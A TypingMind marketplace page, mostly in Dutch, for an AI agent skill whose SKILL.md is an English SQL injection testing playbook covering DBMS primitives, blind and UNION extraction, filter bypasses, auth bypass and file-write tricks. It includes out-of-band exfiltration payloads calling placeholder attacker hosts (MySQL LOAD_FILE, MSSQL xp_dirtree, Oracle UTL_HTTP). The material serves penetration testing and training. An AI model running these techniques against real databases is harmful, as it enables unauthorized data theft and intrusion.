Logo van Strix•SQL 注入

Strix•SQL 注入

Community
asdfgh1445
Strix•SQL 注入

Strix SQL 注入测试手册,覆盖 union、blind、error-based 与 ORM 绕过技巧;触发名:strix-sql-injection

Add to TypingMind

Overzicht

Uitgeverasdfgh1445
Repositoryctf-super-hub
SkillnaamStrix•SQL 注入
Sterren
836
Forks
105
Meegeleverde bestanden
Alleen instructies
Links
  • Instructies in Markdown

    Het model laadt het bestand SKILL.md alleen als dat nodig is. Dat kost dus alleen tokens als een verzoek daadwerkelijk bij de skill past.

  • Werkt met elk LLM

    AI-skills bestaan uit instructies in gewone Markdown, niet uit aanbiederspecifieke code. Daardoor werken ze met GPT, Claude, Gemini, Grok of een lokaal model.

  • Compleet zonder extra bestanden

    Alles wat het model nodig heeft, staat in de instructies — geen extra bestanden om te synchroniseren.

  • Open source

    Gepubliceerd door asdfgh1445 op GitHub. Bekijk de bronbestanden voordat je de skill installeert.

Installatie

Installeer de AI-skill Strix•SQL 注入 in TypingMind om deze met elk LLM te gebruiken, of voeg de skill toe aan een andere agent die SKILL.md kan lezen.

1

Installeren in TypingMind

TypingMind installeert een skill rechtstreeks vanuit de GitHub-map. De app leest SKILL.md, bundelt de bijbehorende bestanden en slaat het resultaat lokaal op.

  1. Open de app en ga naar Plug-ins → Skills.
  2. Kies "Installeren via GitHub".
  3. Plak de onderstaande URL van de skillmap en bevestig.
    https://github.com/asdfgh1445/ctf-super-hub/tree/main/strix-sql-injection
  4. Schakel de skill in voor elke chat waarin je de skill wilt kunnen gebruiken.
Plug-ins → Skills → Skill toevoegen → Via GitHub-URL. Plak vervolgens de map-URL en druk op Doorgaan.
2

Installeren in een andere agent

Elke agent die het Agent Skills-formaat kan lezen, kan deze skill gebruiken — kopieer de map naar de skillmap van die agent.

Claude Code — .claude/skills
git clone --depth 1 https://github.com/asdfgh1445/ctf-super-hub.git /tmp/ctf-super-hub
mkdir -p .claude/skills
cp -r /tmp/ctf-super-hub/strix-sql-injection .claude/skills/asdfgh1445-strix-sql
Start Claude Code na het kopiëren opnieuw op, zodat de nieuwe skill wordt herkend.

Gebruik deze skill in TypingMind

Schakel Strix•SQL 注入 in voor een chat naar keuze in TypingMind en het model doet de rest. De naam en beschrijving staan in de systeemprompt. Zodra een verzoek bij de skill past, laadt het model zelf de volledige instructies. Je hoeft de skill nooit handmatig aan te roepen. Pas als het model de skill daadwerkelijk gebruikt, kost dat tokens.

Het model laadt Strix•SQL 注入 automatisch zodra een verzoek erbij past.

Werkt met elk AI-model

AI-skills zijn gewone Markdown-instructies in plaats van aanbiederspecifieke code. Daardoor is Strix•SQL 注入 niet gebonden aan het model waarvoor de skill is geschreven. Installeer de skill één keer in TypingMind en gebruik deze met GPT-5, Claude, Gemini, Grok, DeepSeek, Mistral, Llama of een lokaal model dat je zelf draait — allemaal met je eigen API-sleutels.

  • Alleen geladen wanneer nodig

    De systeemprompt bevat alleen de naam en beschrijving. De instructies worden bij het eerste bijpassende verzoek opgehaald, dus een ongebruikte skill kost niets.

  • Wissel van model tijdens een chat

    Omdat de skill uit instructies bestaat en niet uit code, blijft deze werken als je van model wisselt — het volgende model leest hetzelfde SKILL.md-bestand.

Skillinstructies

Dit is de inhoud van SKILL.md die het model laadt. Lees deze vóór de installatie — een skill bestaat uit instructies die je model zal volgen.

SQL Injection

SQLi remains one of the most durable and impactful vulnerability classes. Modern exploitation focuses on parser differentials, ORM/query-builder edges, JSON/XML/CTE/JSONB surfaces, out-of-band exfiltration, and subtle blind channels. Treat every string concatenation into SQL as suspect.

Attack Surface

Databases

  • Classic relational: MySQL/MariaDB, PostgreSQL, MSSQL, Oracle
  • Newer surfaces: JSON/JSONB operators, full-text/search, geospatial, window functions, CTEs, lateral joins

Integration Paths

  • ORMs, query builders, stored procedures
  • Search servers, reporting/exporters

Input Locations

  • Path/query/body/header/cookie
  • Mixed encodings (URL, JSON, XML, multipart)
  • Identifier vs value: table/column names (require quoting/escaping) vs literals (quotes/CAST requirements)
  • Query builders: whereRaw/orderByRaw, string templates in ORMs
  • JSON coercion or array containment operators
  • Batch/bulk endpoints and report generators that embed filters directly

Detection Channels

Error-Based

  • Provoke type/constraint/parser errors revealing stack/version/paths

Boolean-Based

  • Pair requests differing only in predicate truth
  • Diff status/body/length/ETag

Time-Based

  • SLEEP/pg_sleep/WAITFOR
  • Use subselect gating to avoid global latency noise

Out-of-Band (OAST)

  • DNS/HTTP callbacks via DB-specific primitives

DBMS Primitives

MySQL

  • Version/user/db: @@version, database(), user(), current_user()
  • Error-based: extractvalue()/updatexml() (older), JSON functions for error shaping
  • File IO: LOAD_FILE(), SELECT ... INTO DUMPFILE/OUTFILE (requires FILE privilege, secure_file_priv)
  • OOB/DNS: LOAD_FILE(CONCAT('\\\\',database(),'.attacker.com\\a'))
  • Time: SLEEP(n), BENCHMARK
  • JSON: JSON_EXTRACT/JSON_SEARCH with crafted paths; GIS funcs sometimes leak

PostgreSQL

  • Version/user/db: version(), current_user, current_database()
  • Error-based: raise exception via unsupported casts or division by zero; xpath() errors in xml2
  • OOB: COPY (program ...) or dblink/foreign data wrappers (when enabled); http extensions
  • Time: pg_sleep(n)
  • Files: COPY table TO/FROM '/path' (requires superuser), lo_import/lo_export
  • JSON/JSONB: operators ->, ->>, @>, ?| with lateral/CTE for blind extraction

MSSQL

  • Version/db/user: @@version, db_name(), system_user, user_name()
  • OOB/DNS: xp_dirtree, xp_fileexist; HTTP via OLE automation (sp_OACreate) if enabled
  • Exec: xp_cmdshell (often disabled), OPENROWSET/OPENDATASOURCE
  • Time: WAITFOR DELAY '0:0:5'; heavy functions cause measurable delays
  • Error-based: convert/parse, divide by zero, FOR XML PATH leaks

Oracle

  • Version/db/user: banner from v$version, ora_database_name, user
  • OOB: UTL_HTTP/DBMS_LDAP/UTL_INADDR/HTTPURITYPE (permissions dependent)
  • Time: dbms_lock.sleep(n)
  • Error-based: to_number/to_date conversions, XMLType
  • File: UTL_FILE with directory objects (privileged)

Key Vulnerabilities

UNION-Based Extraction

  • Determine column count and types via ORDER BY n and UNION SELECT null,...
  • Align types with CAST/CONVERT; coerce to text/json for rendering
  • When UNION is filtered, switch to error-based or blind channels

Blind Extraction

  • Branch on single-bit predicates using SUBSTRING/ASCII, LEFT/RIGHT, or JSON/array operators
  • Binary search on character space for fewer requests
  • Encode outputs (hex/base64) to normalize
  • Gate delays inside subqueries to reduce noise: AND (SELECT CASE WHEN (predicate) THEN pg_sleep(0.5) ELSE 0 END)

Out-of-Band

  • Prefer OAST to minimize noise and bypass strict response paths
  • Embed data in DNS labels or HTTP query params
  • MSSQL: xp_dirtree \\\\<data>.attacker.tld\\a
  • Oracle: UTL_HTTP.REQUEST('http://<data>.attacker')
  • MySQL: LOAD_FILE with UNC path

Write Primitives

  • Auth bypass: inject OR-based tautologies or subselects into login checks
  • Privilege changes: update role/plan/feature flags when UPDATE is injectable
  • File write: INTO OUTFILE/DUMPFILE, COPY TO, xp_cmdshell redirection
  • Job/proc abuse: schedule tasks or create procedures/functions when permissions allow

ORM and Query Builders

  • Dangerous APIs: whereRaw/orderByRaw, string interpolation into LIKE/IN/ORDER clauses
  • Injections via identifier quoting (table/column names) when user input is interpolated into identifiers
  • JSON containment operators exposed by ORMs (e.g., @> in PostgreSQL) with raw fragments
  • Parameter mismatch: partial parameterization where operators or lists remain unbound (IN (...))

Uncommon Contexts

  • ORDER BY/GROUP BY/HAVING with CASE WHEN for boolean channels
  • LIMIT/OFFSET: inject into OFFSET to produce measurable timing or page shape
  • Full-text/search helpers: MATCH AGAINST, to_tsvector/to_tsquery with payload mixing
  • XML/JSON functions: error generation via malformed documents/paths

Bypass Techniques

Whitespace/Spacing

  • /**/, /**/!00000, comments, newlines, tabs
  • 0xe3 0x80 0x80 (ideographic space)

Keyword Splitting

  • UN/**/ION, U%4eION, backticks/quotes, case folding

Numeric Tricks

  • Scientific notation, signed/unsigned, hex (0x61646d696e)

Encodings

  • Double URL encoding, mixed Unicode normalizations (NFKC/NFD)
  • char()/CONCAT_ws to build tokens

Clause Relocation

  • Subselects, derived tables, CTEs (WITH), lateral joins to hide payload shape

Testing Methodology

  1. Identify query shape - SELECT/INSERT/UPDATE/DELETE, presence of WHERE/ORDER/GROUP/LIMIT/OFFSET
  2. Determine input influence - User input in identifiers vs values
  3. Confirm injection class - Reflective errors, boolean diffs, timing, or out-of-band callbacks
  4. Choose quietest oracle - Prefer error-based or boolean over noisy time-based
  5. Establish extraction channel - UNION (if visible), error-based, boolean bit extraction, time-based, or OAST/DNS
  6. Pivot to metadata - version, current user, database name
  7. Target high-value tables - auth bypass, role changes, filesystem access if feasible

Validation

  1. Show a reliable oracle (error/boolean/time/OAST) and prove control by toggling predicates
  2. Extract verifiable metadata (version, current user, database name) using the established channel
  3. Retrieve or modify a non-trivial target (table rows, role flag) within legal scope
  4. Provide reproducible requests that differ only in the injected fragment
  5. Where applicable, demonstrate defense-in-depth bypass (WAF on, still exploitable via variant)

False Positives

  • Generic errors unrelated to SQL parsing or constraints
  • Static response sizes due to templating rather than predicate truth
  • Artificial delays from network/CPU unrelated to injected function calls
  • Parameterized queries with no string concatenation, verified by code review

Impact

  • Direct data exfiltration and privacy/regulatory exposure
  • Authentication and authorization bypass via manipulated predicates
  • Server-side file access or command execution (platform/privilege dependent)
  • Persistent supply-chain impact via modified data, jobs, or procedures

Pro Tips

  1. Pick the quietest reliable oracle first; avoid noisy long sleeps
  2. Normalize responses (length/ETag/digest) to reduce variance when diffing
  3. Aim for metadata then jump directly to business-critical tables; minimize lateral noise
  4. When UNION fails, switch to error- or blind-based bit extraction; prefer OAST when available
  5. Treat ORMs as thin wrappers: raw fragments often slip through; audit whereRaw/orderByRaw
  6. Use CTEs/derived tables to smuggle expressions when filters block SELECT directly
  7. Exploit JSON/JSONB operators in Postgres and JSON functions in MySQL for side channels
  8. Keep payloads portable; maintain DBMS-specific dictionaries for functions and types
  9. Validate mitigations with negative tests and code review; parameterize operators/lists correctly
  10. Document exact query shapes; defenses must match how the query is constructed, not assumptions

Summary

Modern SQLi succeeds where authorization and query construction drift from assumptions. Bind parameters everywhere, avoid dynamic identifiers, and validate at the exact boundary where user input meets SQL.

Veelgestelde vragen

Wat doet de AI-skill Strix•SQL 注入?

Strix SQL 注入测试手册,覆盖 union、blind、error-based 与 ORM 绕过技巧;触发名:strix-sql-injection

Waarom Strix•SQL 注入 gebruiken in TypingMind?

Omdat je deze skill één keer installeert en met elk model kunt gebruiken. Strix•SQL 注入 bestaat uit gewone Markdown in plaats van aanbiederspecifieke code. Dezelfde skill werkt dus met GPT-5, Claude, Gemini, Grok of een lokaal model. Ook als je midden in een chat van model wisselt, blijft de skill werken. TypingMind werkt met je eigen API-sleutels, dus je betaalt aanbieders rechtstreeks in plaats van een abonnement per gebruikersplek af te sluiten. Je skills en chats blijven in je eigen opslag.

Hoe installeer ik Strix•SQL 注入 in TypingMind?

Open Plug-ins → Skills → Installeren vanaf GitHub in TypingMind en plak https://github.com/asdfgh1445/ctf-super-hub/tree/main/strix-sql-injection. TypingMind leest het bestand SKILL.md en installeert het als een skill die je per chat kunt inschakelen.

Welke AI-modellen kunnen Strix•SQL 注入 gebruiken?

Elk model dat je in TypingMind koppelt. AI-skills bestaan uit gewone Markdown-instructies in plaats van aanbiederspecifieke code. GPT, Claude, Gemini, Grok en lokale modellen kunnen deze skill dus allemaal laden wanneer een verzoek erbij past.

Hoeveel AI-modellen kan ik met Strix•SQL 注入 gebruiken?

Zoveel als je wilt. Je kunt Strix•SQL 注入 gebruiken met elk model dat skills ondersteunt, zoals GPT, Claude, Gemini, Grok, DeepSeek, Mistral of Llama. Allemaal in TypingMind met je eigen API-sleutels.

Is de AI-skill Strix•SQL 注入 gratis?

Deze skill is door asdfgh1445 op GitHub gepubliceerd. Bekijk de repository voor de licentievoorwaarden. Je betaalt alleen je eigen AI-aanbieder voor de tokens die je gebruikt.

Wat zijn AI-skills?

Een AI-skill is een herbruikbare bundel instructies die een AI-model leert hoe het één specifieke taak moet uitvoeren. De skill volgt het open Agent Skills-formaat: het bestand SKILL.md bevat de naam en beschrijving van de skill. Daarnaast kan de skill scripts, sjablonen of referentiebestanden bevatten die het model nodig heeft. Het model leest de instructies alleen als je verzoek bij de skill past. Een geïnstalleerde skill kost dus niets zolang deze niet wordt gebruikt.

Waarin verschillen AI-skills van plug-ins of MCP-servers?

Een plug-in of MCP-server geeft een model nieuwe tools om aan te roepen: code die ergens wordt uitgevoerd en een resultaat teruggeeft. Een AI-skill geeft het model juist kennis en een werkwijze: hoe het een taak moet aanpakken, welke stappen het moet volgen en hoe goede uitvoer eruitziet. Skills bestaan uit gewone Markdown en hebben dus geen server, API-sleutel of runtime nodig. Ze werken met elk model.

Bekijk alles

Maak nu je eigen AI-werkruimte

Schrijf je in voor onze nieuwsbrief en blijf op de hoogte van nieuwe functies en toekomstige weggeefacties 👇